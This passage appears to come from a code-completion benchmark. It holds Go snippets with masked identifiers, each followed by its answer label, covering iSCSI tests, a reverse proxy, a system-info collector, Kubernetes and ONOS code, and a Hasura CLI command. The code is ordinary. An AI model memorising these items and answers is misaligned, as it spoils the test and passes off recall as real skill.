%q"", string(out), contents) return } } func Test_parseSessions(t *testing.T) { var sessions []iscsiSession output := ""tcp: [2] 192.168.1.107:3260,1 iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced (non-flash)\n"" + ""tcp: [2] 192.168.1.200:3260,1 iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced (non-flash)\n"" sessions = append(sessions, iscsiSession{ Protocol: ""tcp"", ID: 2, Portal: ""192.168.1.107:3260"", IQN: ""iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced"", Name: ""volume-eb393993-73d0-4e39-9ef4-b5841e244ced"", }) sessions = append(sessions, iscsiSession{ Protocol: ""tcp"", ID: 2, Portal: ""192.168.1.200:3260"", IQN: ""iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced"", Name: ""volume-eb393993-73d0-4e39-9ef4-b5841e244ced"", }) type args struct { lines string } validSession := args{ lines: output, } tests := []struct { name string args args want []iscsiSession }{ {""ValidParseSession"", validSession, sessions}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got := parseSessions(tt.args.lines) if !reflect.DeepEqual(got, tt.want) { t.Errorf(""parseSessions() = %v, want %v"", got, tt.want) } }) } } func Test_extractTransportName(t *testing.T) { type args struct { output string } [MASK] := args{ output: nodeDB, } emptyRecord := args{ output: emptyDbRecord, } emptyTransportRecord := args{ output: emptyTransportName, } tests := []struct { name string args args want string }{ {""tcp-check"", [MASK] , ""tcp""}, {""tcp-check"", emptyRecord, """"}, {""tcp-check"", emptyTransportRecord, ""tcp""}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := extractTransportName(tt.args.output); got != tt.want { t.Errorf(""extractTransportName() = %v, want %v"", got, tt.want) } }) } } func Test_sessionExists(t *testing.T) { fakeOutput := ""tcp: [4] 192.168.1.107:3260,1 iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced (non-flash)\n"" defer gostub.Stub(&execWithTimeout, makeFakeExecWithTimeout(false, []byte(fakeOutput), nil)).Reset() type args struct { tgtPortal string tgtIQN string } testExistsArgs := args{ tgtPortal: ""192.168.1.107:3260"", tgtIQN: ""iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced"", } testWrongPortalArgs := args{ tgtPortal: ""10.0.0.1:3260"", tgtIQN: ""iqn.2010-10.org.openstack:volume-eb393993-73d0-4e39-9ef4-b5841e244ced"", } tests := []struct { name string args args want bool wantErr bool }{ {""TestSessionExists"", testExistsArgs, true, false}, {""TestSessionDoesNotExist"", testWrongPortalArgs, false, false}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got, err := sessionExists(tt.args.tgtPortal, tt.args.tgtIQN) if (err != nil) != tt.wantErr { t.Errorf(""sessionExists() error = %v, wantErr %v"", err, tt.wantErr) return } if got != tt.want { t.Errorf(""sessionExists() = %v, want %v"", got, tt.want) } }) } } func Test_DisconnectNormalVolume(t *testing.T) { deleteDeviceFile := ""/tmp/deleteDevice"" defer gostub.Stub(&osOpenFile, func(name string, flag int, perm os.FileMode) (*os.File, error) { return os.OpenFile(deleteDeviceFile, flag, perm) }).Reset() tests := []struct { name string withDeviceFile bool wantErr bool }{ {""DisconnectNormalVolume"", true, false}, {""DisconnectNonexistentNormalVolume"", false, false}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if tt.withDeviceFile { _, _ = os.Create(deleteDeviceFile) } else { _ = os.RemoveAll(testRootFS) } device := Device{Name: ""test""} c := Connector{Devices: []Device{device}, MountTargetDevice: &device} err := c.DisconnectVolume() if (err != nil) != tt.wantErr { t.Errorf(""DisconnectVolume() error = %v, wantErr %v"", err, tt.wantErr) return } if tt.withDeviceFile { out, err := ioutil.ReadFile(deleteDeviceFile) if err != nil { t.Errorf(""can not read file %v: %v"", deleteDeviceFile, err) return } if string(out) != ""1"" { t.Errorf(""file content mismatch, got = %s, want = 1"", string(out)) return } } }) } } func Test_DisconnectMultipathVolume(t *testing.T) { defer gostub.Stub(&osStat, func(name string) (os.FileInfo, error) { return nil, nil }).Reset() tests := []struct { name string timeout bool withDeviceFile bool wantErr bool }{ {""DisconnectMultipathVolume"", false, true, false}, {""DisconnectMultipathVolumeFlushTimeout"", true, true, true}, {""DisconnectNonexistentMultipathVolume"", false, false, false}, } wwid := ""3600c0ff0000000000000000000000000"" for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { defer gostub.Stub(&execWithTimeout, func(cmd string, args []string, timeout time.Duration) ([]byte, error) { mockedOutput := []byte("""") if cmd == ""scsi_id"" { mockedOutput = []byte(wwid + ""\n"") } return makeFakeExecWithTimeout(tt.timeout, mockedOutput, nil)(cmd, args, timeout) }).Reset() c := Connector{ Devices: []Device{{Hctl: ""0:0:0:0""}, {Hctl: ""1:0:0:0""}}, MountTargetDevice: &Device{Name: wwid, Type: ""mpath""}, } defer gostub.Stub(&osOpenFile, func(name string, flag int, perm os.FileMode) (*os.File, error) { return os.OpenFile(testRootFS+name, flag, perm) }).Reset() defer gostub.Stub(&execCommand, makeFakeExecCommand(0, wwid)).Reset() if tt.withDeviceFile { if err := preparePaths(c.Devices); err != nil { t.Errorf(""could not prepare paths: %v"", err) return } } else { os.Remove(testRootFS) } err := c.DisconnectVolume() if (err != nil) != tt.wantErr { t.Errorf(""DisconnectVolume() error = %v, wantErr %v"", err, tt.wantErr) return } if tt.timeout { assert.New(t).Contains(err.Error(), ""context deadline exceeded"") } if tt.withDeviceFile && !tt.wantErr { for _, device := range c.Devices { checkFileContents(t, getDevicePath(&device)+""/delete"", ""1"") checkFileContents(t, getDevicePath(&device)+""/state"", ""offline\n"") } } }) } } func Test_waitForPathToExist(t *testing.T) { tests := map[string]struct { attempts int fileNotFound bool withErr bool transport string }{ ""Basic"": { attempts: 1, }, ""WithRetry"": { attempts: 2, }, ""WithRetryFail"": { attempts: 3, fileNotFound: true, }, ""WithError"": { withErr: true, }, } for name, tt := range tests { tt.transport = ""tcp"" tests[name+""OverTCP""] = tt } for name, tt := range tests { t.Run(name, func(t *testing.T) { assert := assert.New(t) attempts := 0 maxRetries := tt.attempts - 1 if tt.fileNotFound { maxRetries-- } if maxRetries < 0 { maxRetries = 0 } doAttempt := func(err error) error { attempts++ if tt.withErr { return err } if attempts < tt.attempts { return os.ErrNotExist } return nil } defer gostub.Stub(&osStat, func(name string) (os.FileInfo, error) { if err := doAttempt(os.ErrPermission); err != nil { return nil, err } return nil, nil }).Reset() defer gostub.Stub(&filepathGlob, func(name string) ([]string, error) { if err := doAttempt(filepath.ErrBadPattern); err != nil { return nil, err } return []string{""/somefilewithalongname""}, nil }).Reset() defer gostub.Stub(&sleep, func(_ time.Duration) {}).Reset() path := ""/somefile"" err := waitForPathToExist(&path, uint(maxRetries), 1, tt.transport) if tt.withErr { if tt.transport == ""tcp"" { assert.Equal(os.ErrPermission, err) } else { assert.Equal(filepath.ErrBadPattern, err) } return } if tt.fileNotFound { assert.Equal(os.ErrNotExist, err) assert.Equal(maxRetries, attempts-1) } else { assert.Nil(err) assert.Equal(tt.attempts, attempts) if tt.transport == ""tcp"" { assert.Equal(""/somefile"", path) } else { assert.Equal(""/somefilewithalongname"", path) } } }) } t.Run(""PathEmptyOrNil"", func(t *testing.T) { assert := assert.New(t) path := """" err := waitForPathToExist(&path, 0, 0, ""tcp"") assert.NotNil(err) err = waitForPathToExist(&path, 0, 0, """") assert.NotNil(err) err = waitForPathToExist(nil, 0, 0, ""tcp"") assert.NotNil(err) err = waitForPathToExist(nil, 0, 0, """") assert.NotNil(err) }) t.Run(""PathNotFound"", func(t *testing.T) { assert := assert.New(t) defer gostub.Stub(&filepathGlob, func(name string) ([]string, error) { return nil, nil }).Reset() path := ""/test"" err := waitForPathToExist(&path, 0, 0, """") assert.NotNil(err) assert.Equal(os.ErrNotExist, err) }) } func Test_getMultipathDevice(t *testing.T) { mpath1 := Device{Name: ""3600c0ff0000000000000000000000000"", Type: ""mpath""} mpath2 := Device{Name: ""3600c0ff1111111111111111111111111"", Type: ""mpath""} sda := Device{Name: ""sda"", Children: []Device{{Name: ""sda1""}}} sdb := Device{Name: ""sdb"", Children: []Device{mpath1}} sdc := Device{Name: ""sdc"", Children: []Device{mpath1}} sdd := Device{Name: ""sdc"", Children: []Device{mpath2}} sde := Device{Name: ""sdc"", Children: []Device{mpath1, mpath2}} tests := map[string]struct { mockedDevices []Device multipathDevice *Device wantErr bool }{ ""Basic"": { mockedDevices: []Device{sdb, sdc}, multipathDevice: &mpath1, }, ""NotSharingTheSameMultipathDevice"": { mockedDevices: []Device{sdb, sdd}, wantErr: true, }, ""MoreThanOneMultipathDevice"": { mockedDevices: []Device{sde}, wantErr: true, }, ""NotAMultipathDevice"": { mockedDevices: []Device{sda}, wantErr: true, }, } for name, tt := range tests { t.Run(name, func(t *testing.T) { assert := assert.New(t) multipathDevice, err := getMultipathDevice(tt.mockedDevices) if tt.wantErr { assert.Nil(multipathDevice) assert.NotNil(err) } else { assert.Equal(tt.multipathDevice, multipathDevice) assert.Nil(err) } }) } } func Test_lsblk(t *testing.T) { sda1 := Device{Name: ""sda1""} sda := Device{Name: ""sda"", Children: []Device{sda1}} sdaOutput := marshalDeviceInfo(&deviceInfo{sda, sda1}) tests := map[string]struct { devicePaths []string strict bool mockedStdout string mockedDevices deviceInfo mockedExitStatus int wantErr bool }{ ""Basic"": { devicePaths: []string{""/dev/sda""}, mockedDevices: []Device{sda}, mockedStdout: string(sdaOutput), }, ""NotABlockDevice"": { devicePaths: []string{""/dev/sdzz""}, mockedStdout: ""lsblk: sdzz: not a block device"", mockedExitStatus: 32, wantErr: true, }, ""InvalidOutput"": { mockedStdout: ""{"", mockedExitStatus: 0, wantErr: true, }, ""StrictWithMissingDevices"": { devicePaths: []string{""/dev/sda"", ""/dev/sdb""}, strict: true, mockedDevices: []Device{sda}, mockedStdout: string(sdaOutput), mockedExitStatus: 64, wantErr: true, }, ""NotStrictWithMissingDevices"": { devicePaths: []string{""/dev/sda"", ""/dev/sdb""}, mockedDevices: []Device{sda}, mockedStdout: string(sdaOutput), mockedExitStatus: 64, }, } for name, tt := range tests { t.Run(name, func(t *testing.T) { assert := assert.New(t) defer gostub.Stub(&execCommand, makeFakeExecCommand(tt.mockedExitStatus, tt.mockedStdout)).Reset() deviceInfo, err := lsblk(tt.devicePaths, tt.strict) if tt.wantErr { assert.Nil(deviceInfo) assert.NotNil(err) } else { assert.NotNil(deviceInfo) assert.Equal(tt.mockedDevices, deviceInfo) assert.Nil(err) } }) } } func TestConnectorPersistance(t *testing.T) { assert := assert.New(t) secret := Secrets{ SecretsType: ""fake secret type"", UserName: ""fake username"", Password: """", UserNameIn: ""fake username in"", PasswordIn: """", } childDevice := Device{ Name: ""child-name"", Hctl: ""child-hctl"", Type: ""child-type"", Transport: ""child-transport"", } device := Device{ Name: ""device-name"", Hctl: ""device-hctl"", Children: []Device{childDevice}, Type: ""device-type"", Transport: ""device-transport"", } c := Connector{ VolumeName: ""fake volume name"", TargetIqn: ""fake target iqn"", TargetPortals: []string{}, Lun: 42, AuthType: ""fake auth type"", DiscoverySecrets: secret, SessionSecrets: secret, Interface: ""fake interface"", MountTargetDevice: &device, Devices: []Device{childDevice}, RetryCount: 24, CheckInterval: 13, DoDiscovery: true, DoCHAPDiscovery: true, } devicesByPath := map[string]*Device{} devicesByPath[childDevice.GetPath()] = &childDevice devicesByPath[device.GetPath()] = &device defer gostub.Stub(&execCommand, func(name string, arg ...string) *exec.Cmd { blockDevices := deviceInfo{} for _, path := range arg[3:] { blockDevices = append(blockDevices, *devicesByPath[path]) } out := marshalDeviceInfo(&blockDevices) return makeFakeExecCommand(0, string(out))(name, arg...) }).Reset() defer gostub.Stub(&execCommand, func(cmd string, args ...string) *exec.Cmd { devInfo := &deviceInfo{device, childDevice} if args[3] == ""/dev/child-name"" { devInfo = &deviceInfo{childDevice} } mockedOutput := marshalDeviceInfo(devInfo) return makeFakeExecCommand(0, string(mockedOutput))(cmd, args...) }).Reset() err := c.Persist(""/tmp/connector.json"") assert.Nil(err) c2, err := GetConnectorFromFile(""/tmp/connector.json"") assert.Nil(err) assert.NotNil(c2) if c2 != nil { assert.Equal(c, *c2) } err = c.Persist(""/tmp"") assert.NotNil(err) os.Remove(""/tmp/shouldNotExists.json"") _, err = GetConnectorFromFile(""/tmp/shouldNotExists.json"") assert.NotNil(err) assert.IsType(&os.PathError{}, err) err = ioutil.WriteFile(""/tmp/connector.json"", []byte(""not a connector""), 0o600) assert.Nil(err) _, err = GetConnectorFromFile(""/tmp/connector.json"") assert.NotNil(err) assert.IsType(&json.SyntaxError{}, err) } func Test_IsMultipathConsistent(t *testing.T) { mpath1 := Device{Name: ""3600c0ff0000000000000000000000000"", Type: ""mpath"", Size: ""10G"", Hctl: ""0:0:0:1""} mpath2 := Device{Name: ""3600c0ff0000000000000000000000042"", Type: ""mpath"", Size: ""5G"", Hctl: ""0:0:0:2""} sda := Device{Name: ""sda"", Size: ""10G"", Hctl: ""1:0:0:1""} sdb := Device{Name: ""sdb"", Size: ""10G"", Hctl: ""2:0:0:1""} sdc := Device{Name: ""sdc"", Size: ""5G"", Hctl: ""1:0:0:2""} sdd := Device{Name: ""sdd"", Size: ""5G"", Hctl: ""2:0:0:2""} invalidHCTL := Device{Name: ""sde"", Size: ""5G"", Hctl: ""2:b""} sdf := Device{Name: ""sdf"", Size: ""10G"", Hctl: ""2:0:0:3""} sdg := Device{Name: ""sdg"", Size: ""10G"", Hctl: ""1:0:0:1""} devicesWWIDs := map[string]string{} devicesWWIDs[mpath1.GetPath()] = ""3600c0ff0000000000000000000000000"" devicesWWIDs[sda.GetPath()] = ""3600c0ff0000000000000000000000000"" devicesWWIDs[sdb.GetPath()] = ""3600c0ff0000000000000000000000000"" devicesWWIDs[sdg.GetPath()] = ""3600c0ff0000000000000000000000024"" tests := map[string]struct { connector *Connector wantErr bool errContains string }{ ""Basic"": { connector: &Connector{ MountTargetDevice: &mpath1, Devices: []Device{sda, sdb}, }, }, ""Different sizes 1"": { connector: &Connector{ MountTargetDevice: &mpath1, Devices: []Device{sda, sdc}, }, wantErr: true, errContains: ""size differ"", }, ""Different sizes 2"": { connector: &Connector{ MountTargetDevice: &mpath1, Devices: []Device{sdc, sdd}, }, wantErr: true, errContains: ""size differ"", }, ""Invalid HCTL"": { connector: &Connector{ MountTargetDevice: &invalidHCTL, Devices: []Device{}, }, wantErr: true, errContains: ""invalid HCTL"", }, ""LUNs differs"": { connector: &Connector{ MountTargetDevice: &mpath1, Devices: []Device{sda, sdf}, }, wantErr: true, errContains: ""LUNs differ"", }, ""Same controller"": { connector: &Connector{ MountTargetDevice: &mpath1, Devices: []Device{sda, sdg}, }, wantErr: true, errContains: ""same controller"", }, ""Missing WWID"": { connector: &Connector{ MountTargetDevice: &mpath2, Devices: []Device{sdc, sdd}, }, wantErr: true, errContains: ""could not find WWID"", }, ""WWIDs differ"": { connector: &Connector{ MountTargetDevice: &mpath1, Devices: []Device{sdb, sdg}, }, wantErr: true, errContains: ""WWIDs differ"", }, } for name, tt := range tests { t.Run(name, func(t *testing.T) { assert := assert.New(t) c := tt.connector defer gostub.Stub(&execWithTimeout, func(_ string, args []string, _ time.Duration) ([]byte, error) { devicePath := args[len(args)-1] wwid, ok := devicesWWIDs[devicePath] if !ok { return []byte(""""), errors.New("""") } return []byte(wwid + ""\n""), nil }).Reset() err := c.IsMultipathConsistent() if tt.wantErr { assert.Error(err) if tt.errContains != """" { assert.Contains(err.Error(), tt.errContains) } } else { assert.Nil(err) } }) } } ",validRecord 249,"package main import ( ""encoding/json"" ""flag"" ""fmt"" ""io/ioutil"" ""net/http"" ""net/http/httputil"" ""net/url"" ""time"" ""github.com/comhttp/jorm/pkg/utl"" ""github.com/rs/zerolog"" ""github.com/rs/zerolog/log"" ) type ( JORM struct { WWW *http.Server config map[string]string } ) func main() { // Get cmd line parameters // service := flag.String(""srv"", """", ""Service"") // path := flag.String(""path"", ""reverseproxy.json"", ""Path"") // port := flag.String(""port"", ""80"", ""Port"") loglevel := flag.String(""loglevel"", ""debug"", ""Logging level (debug, info, warn, error)"") flag.Parse() //j.Log.SetLevel(parseLogLevel(*loglevel)) zerolog.TimeFieldFormat = zerolog.TimeFormatUnix // Default level for this example is info, unless debug flag is present switch *loglevel { case ""panic"": zerolog.SetGlobalLevel(zerolog.PanicLevel) case ""fatal"": zerolog.SetGlobalLevel(zerolog.FatalLevel) case ""error"": zerolog.SetGlobalLevel(zerolog.ErrorLevel) case ""warn"": zerolog.SetGlobalLevel(zerolog.WarnLevel) case ""info"": zerolog.SetGlobalLevel(zerolog.InfoLevel) case ""debug"": zerolog.SetGlobalLevel(zerolog.DebugLevel) case ""trace"": zerolog.SetGlobalLevel(zerolog.TraceLevel) default: zerolog.SetGlobalLevel(zerolog.TraceLevel) } j := new(JORM) j.WWW = &http.Server{ WriteTimeout: 15 * time.Second, ReadTimeout: 15 * time.Second, } log.Print(""reverse proxy"") h := &baseHandle{} http.Handle(""/"", h) j.WWW.Handler = h j.WWW.Addr = "":80"" log.Fatal().Err(j.WWW.ListenAndServe()) log.Info().Msg(""Port: 80"") } // var ( // hostTarget = map[string]string{ // ""okno.rs"": ""http://127.0.0.1:4433"", // ""parallelcoin.info"": ""http://127.0.0.1:4433"", // ""explorer.parallelcoin.info"": ""http://127.0.0.1:4433"", // ""jorm.okno.rs"": ""http://127.0.0.1:14411"", // ""our.okno.rs"": ""http://127.0.0.1:14422"", // ""enso.okno.rs"": ""http://127.0.0.1:14433"", // ""p9c.okno.rs"": ""http://127.0.0.1:1337"", // ""admin.parallelcoin.io"": ""http://127.0.0.1:11122"", // ""api.parallelcoin.io"": ""http://127.0.0.1:11123"", // } // ) type baseHandle struct{} func (h *baseHandle) ServeHTTP(w http.ResponseWriter, r *http.Request) { host := r.Host log.Print(""target hosthosthost fail:"", host) c, err := Read(""reverseproxy.json"") utl.ErrorLog(err) if target, ok := c[host]; ok { reverseproxy(w, r, target) } else { reverseproxy(w, r, ""http://localhost:14444"") } w.Header().Set(""Cache-Control"", ""no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0"") } func reverseproxy(w http.ResponseWriter, r *http.Request, target string) { [MASK] , err := url.Parse(target) if err != nil { log.Print(""target parse fail:"", err) return } proxy := httputil.NewSingleHostReverseProxy( [MASK] ) // w.Header().Set(""AMP-Access-Control-Allow-Source-Origin"", ""*"") // w.Header().Set(""Access-Control-Expose-Headers"", ""AMP-Access-Control-Allow-Source-Origin"") // w.Header().Set(""Access-Control-Allow-Credentials"",""true"") // w.Header().Set(""AMP-Same-Origin"",""true"") // w.Header().Set(""Access-Control-Allow-Origin"", ""*"") // w.Header().Set(""Access-Control-Allow-Methods"",""POST, GET, OPTIONS"") // w.Header().Set(""Access-Control-Allow-Headers"", ""Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization"") proxy.ServeHTTP(w, r) return } // //func (j *JORM) ReverseProxySRV() { // h := &BaseHandle{} // http.Handle(""/"", h) // server := &http.Server{ // Addr: "":80"", // Handler: h, // } // log.Fatal(server.ListenAndServe()) //} func status(w http.ResponseWriter, r *http.Request) { // Handles top-level page. fmt.Fprintf(w, ""You are on the status home page"") } // Read a record from the database func Read(path string) (map[string]string, error) { // read record from database b, err := ioutil.ReadFile(path) if err != nil { return nil, err } conf := make(map[string]string) // unmarshal data json.Unmarshal(b, &conf) return conf, err } ",remoteUrl 250,"package main import ( ""fmt"" ""time"" ""github.com/shirou/gopsutil/v3/cpu"" ""github.com/shirou/gopsutil/v3/disk"" ""github.com/shirou/gopsutil/v3/host"" ""github.com/shirou/gopsutil/v3/mem"" ""github.com/shirou/gopsutil/v3/net"" ""github.com/lonelypale/gotools/network"" ) func main() { collet() } func collet() { v, _ := mem.VirtualMemory() c, _ := cpu.Info() cc, _ := cpu.Percent(time.Second, false) d, _ := disk.Usage(""/"") n, _ := host.Info() nv, _ := net.IOCounters(true) [MASK] , _ := host.BootTime() btime := time.Unix(int64( [MASK] ), 0).Format(""2006-01-02 15:04:05"") if len(c) > 1 { for _, subCpu := range c { modelname := subCpu.ModelName cores := subCpu.Cores fmt.Printf(""CPU : %v %v cores \n"", modelname, cores) } } else { subCpu := c[0] modelname := subCpu.ModelName cores := subCpu.Cores fmt.Printf(""CPU : %v %v cores \n"", modelname, cores) } fmt.Printf(""CPU Used : used %f%% \n"", cc[0]) fmt.Printf(""Mem : %vMB Free: %vMB Used: %v Usage: %f%%\n"", v.Total/1024/1024, v.Available/1024/1024, v.Used/1024/1024, v.UsedPercent) fmt.Printf(""Disk : %vGB Free: %vGB Usage: %f%%\n"", d.Total/1024/1024/1024, d.Free/1024/1024/1024, d.UsedPercent) fmt.Printf(""Network : %vbytes / %vbytes\n"", nv[0].BytesRecv, nv[0].BytesSent) fmt.Printf(""SystemBoot: %v\n"", btime) fmt.Printf(""OS : %v(%v) %v \n"", n.Platform, n.PlatformFamily, n.PlatformVersion) fmt.Printf(""Hostname : %v \n"", n.Hostname) ip, err := network.GetLocalIP() if err != nil { panic(err) } fmt.Printf(""IP : %v \n"", ip) } ",boottime 251,"package v1alpha1 import ( metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/apimachinery/pkg/runtime/schema"" ) var ( // SchemeBuilder initializes a scheme builder SchemeBuilder = runtime.NewSchemeBuilder(addKnownTypes) // AddToScheme is a global function that registers this API group & version to a scheme AddToScheme = SchemeBuilder.AddToScheme ) // SchemeGroupVersion is group version used to register these objects. var SchemeGroupVersion = schema.GroupVersion{ Group: GroupName, Version: Version, } //var ( // SchemeBuilder runtime.SchemeBuilder // localSchemeBuilder = &SchemeBuilder // AddToScheme = localSchemeBuilder.AddToScheme //) func init() { SchemeBuilder.Register(addKnownTypes) } func Resource( [MASK] string) schema.GroupResource { return SchemeGroupVersion.WithResource( [MASK] ).GroupResource() } func addKnownTypes(scheme *runtime.Scheme) error { scheme.AddKnownTypes( SchemeGroupVersion, &SnapshotRule{}, &SnapshotRuleList{}, ) scheme.AddKnownTypes( SchemeGroupVersion, &metav1.Status{}, ) metav1.AddToGroupVersion( scheme, SchemeGroupVersion, ) return nil } ",resource 252,"// SPDX-FileCopyrightText: 2021-present Open Networking Foundation <> // // SPDX-License-Identifier: Apache-2.0 package collect import ( ""context"" ""fmt"" ""io"" ""strings"" adminapi ""github.com/onosproject/onos-api/go/onos/e2t/admin"" ""github.com/onosproject/onos-exporter/pkg/kpis"" ""google.golang.org/grpc"" ) // onose2tCollector is the onos e2t collector. // It extracts all the e2t related kpis using the Collect method. type onose2tCollector struct { collector } // Collect implements the collector of the onos e2t service kpis. // It uses the function(s) defined in onose2t.go to extract the kpis and return // a list of them. // This function can create go routines if needed in order to extract multiple // onos e2t kpis using the same connection and multiple calls to functions // defined in the file onose2t.go. func (col *onose2tCollector) Collect() ([]kpis.KPI, error) { kpis := []kpis.KPI{} if len(col.config.getAddress()) == 0 { return kpis, fmt.Errorf(""Onose2tCollector Collect missing service address"") } conn, err := GetConnection( col.config.getAddress(), col.config.getCertPath(), col.config.getKeyPath(), col.config.noTLS(), ) if err != nil { return kpis, err } defer conn.Close() e2tconnectionsKPI, err := onose2tListConnections(conn) if err != nil { return kpis, err } kpis = append(kpis, e2tconnectionsKPI) return kpis, nil } // onose2tListConnections implements the extraction of the kpi OnosE2tConnections // from the component onose2t. It connects to onos e2t service list the e2NodeConnections // and fill the proper fields of the OnosE2tConnectionsKPI. // Other functions must be implemented similar to this one in order to extract other // kpis from onos e2t service. func onose2tListConnections(conn *grpc.ClientConn) (kpis.KPI, error) { OnosE2tConnectionsKPI := kpis.OnosE2tConnections() OnosE2tConnectionsKPI.NumberConnections = make(map[string]kpis.E2tConnection) request := adminapi.ListE2NodeConnectionsRequest{} [MASK] := adminapi.NewE2TAdminServiceClient(conn) stream, err := [MASK] .ListE2NodeConnections(context.Background(), &request) if err != nil { return OnosE2tConnectionsKPI, err } for { response, err := stream.Recv() if err == io.EOF { break } else if err != nil { return OnosE2tConnectionsKPI, err } OnosE2tConnectionsKPI.NumberConnections[response.Id] = kpis.E2tConnection{ Id: response.Id, PlmnId: response.PlmnId, NodeId: response.NodeId, RemoteIp: strings.Join(response.RemoteIp, "",""), RemotePort: fmt.Sprintf(""%v"", response.RemotePort), ConnectionType: response.ConnectionType.String(), } } return OnosE2tConnectionsKPI, nil } ",client 253,"package config import ( ""github.com/seanarwa/common/logging"" log ""github.com/sirupsen/logrus"" ""github.com/spf13/viper"" ) func Init() { setAllDefaults() LoadAll() startWatching() log.Debug(""Configuration change watch has started"") } func LoadAll() { logConfigFile := GetString(""cmd.log_config_file"") loadLogging(logConfigFile) configFile := GetString(""cmd.config_file"") loadMain(configFile) log.WithFields(log.Fields{ ""log_config_file"": logConfigFile, ""config_file"": configFile, }).Debug(""All configuration loaded"") prettyPrint(viper.AllSettings()) } func loadMain(configFile string) { err := addConfig(configFile) if err != nil { log.WithFields(log.Fields{ ""config_file"": configFile, }).Fatal(""Error occured when trying to read in loaded config: "", err) } } func loadLogging(configFile string) { err := addConfig(configFile) if err != nil { log.WithFields(log.Fields{ ""log_config_file"": configFile, }).Fatal(""Error occured when trying to read in loaded logging config: "", err) } logging.Init( GetString(""logging.file""), GetString(""logging.level""), GetBool(""logging.append""), ) } func Get(key string) interface{} { safeCheck(key) return viper.Get(key) } func GetString(key string) string { safeCheck(key) return viper.GetString(key) } func GetBool(key string) bool { safeCheck(key) return viper.GetBool(key) } func GetInt(key string) int { safeCheck(key) return viper.GetInt(key) } func GetFloat64(key string) float64 { safeCheck(key) return viper.GetFloat64(key) } func Set(key string, value interface{}) { viper.Set(key, value) } func Exists(key string) bool { return viper.IsSet(key) } func safeCheck(key string) { if !Exists(key) { log.WithFields(log.Fields{ ""key"": key, }).Fatal(""Error occured when trying to get key from config: key does not exists"") } else { log.WithFields(log.Fields{ ""key"": key, }).Trace(""Config key safe check ok"") } } func addConfig(filepath string) (err error) { ext, filename, [MASK] := parseFilepath(filepath) viper.AddConfigPath( [MASK] ) viper.SetConfigName(filename) viper.SetConfigType(ext) err = viper.MergeInConfig() if err != nil { log.Error(""Error occured when trying to add file to config: "", err) } else { log.WithFields(log.Fields{ ""file"": filepath, }).Trace(""Added config"") } return err } ",dir 254,"package commands import ( ""encoding/json"" ""fmt"" ""io/ioutil"" ""path/filepath"" ""github.com/hasura/graphql-engine/cli/v2"" ""github.com/hasura/graphql-engine/cli/v2/util"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ) // NewActionsCmd returns the actions command func NewActionsCmd(ec *cli.ExecutionContext) *cobra.Command { v := viper.New() actionsCmd := &cobra.Command{ Use: ""actions"", Short: ""Manage Hasura actions"", SilenceUsage: true, PersistentPreRunE: func(cmd *cobra.Command, [MASK] []string) error { cmd.Root().PersistentPreRun(cmd, [MASK] ) ec.Viper = v err := ec.Prepare() if err != nil { return err } err = ec.Validate() if err != nil { return err } if ec.Config.Version < cli.V2 { return fmt.Errorf(""actions commands can be executed only when config version is greater than 1"") } if ec.MetadataDir == """" { return fmt.Errorf(""actions commands can be executed only when metadata_dir is set in config"") } return nil }, } actionsCmd.AddCommand( newActionsCreateCmd(ec, v), newActionsCodegenCmd(ec), newActionsUseCodegenCmd(ec), ) f := actionsCmd.PersistentFlags() f.String(""endpoint"", """", ""http(s) endpoint for Hasura GraphQL engine"") f.String(""admin-secret"", """", ""admin secret for Hasura GraphQL engine"") f.String(""access-key"", """", ""access key for Hasura GraphQL engine"") if err := f.MarkDeprecated(""access-key"", ""use --admin-secret instead""); err != nil { ec.Logger.WithError(err).Errorf(""error while using a dependency library"") } f.Bool(""insecure-skip-tls-verify"", false, ""skip TLS verification and disable cert checking (default: false)"") f.String(""certificate-authority"", """", ""path to a cert file for the certificate authority"") util.BindPFlag(v, ""endpoint"", f.Lookup(""endpoint"")) util.BindPFlag(v, ""admin_secret"", f.Lookup(""admin-secret"")) util.BindPFlag(v, ""access_key"", f.Lookup(""access-key"")) util.BindPFlag(v, ""insecure_skip_tls_verify"", f.Lookup(""insecure-skip-tls-verify"")) util.BindPFlag(v, ""certificate_authority"", f.Lookup(""certificate-authority"")) return actionsCmd } func getCodegenFrameworks() (allFrameworks []codegenFramework, err error) { frameworkFileBytes, err := ioutil.ReadFile(filepath.Join(ec.GlobalConfigDir, util.ActionsCodegenDirName, ""frameworks.json"")) if err != nil { return } err = json.Unmarshal(frameworkFileBytes, &allFrameworks) if err != nil { return } return } ",args 255,"package quik import ( ""context"" ""sync"" ""sync/atomic"" ""time"" ) /* My concept for the worker pool will be: A priority based task enqueue system Run indefinitely, or load in tasks and wait until completion API Event based system to report events for scaling actions to the user (if desired) Generic implementation that can yield results back to the caller Throttleable, immediately halt tasks - i.e a database is maybe failing over etc. Fast! Auto scaling workers benchmarked, profiled etc No blocking, will always accept tasks - careful on memory limits - functional option for inspecting - Add guard rails! Incoming tasks go through this process: -> Incoming tasks are always accepted -> If there is room, move them directly into the workers queue -> if there is no room, store them in the 'waiting pen' */ const ( defaultWorkerCyclePeriod = 3 * time.Second ) // Pooler defines the public interface of the pool type Pooler[T any] interface { Stop(graceful bool) // TODO: Group these into a single Enqueue method that takes its own options. Enqueue(task func() T) EnqueuePriority(task func() T, priority int) EnqueueWait(task func() T) EnqueuePriorityWait(task func() T) Quiesce(ctx context.Context) Drain() } // Pool is the core worker pool implementation for quik. // It is highly configurable via a number of different options. // Placeholder: Options outline. type Pool[T any] struct { // worker specifics maxWorkers int currentWorkers int workerScaleInterval time.Duration results chan T done chan struct{} stopped bool stoppedMu 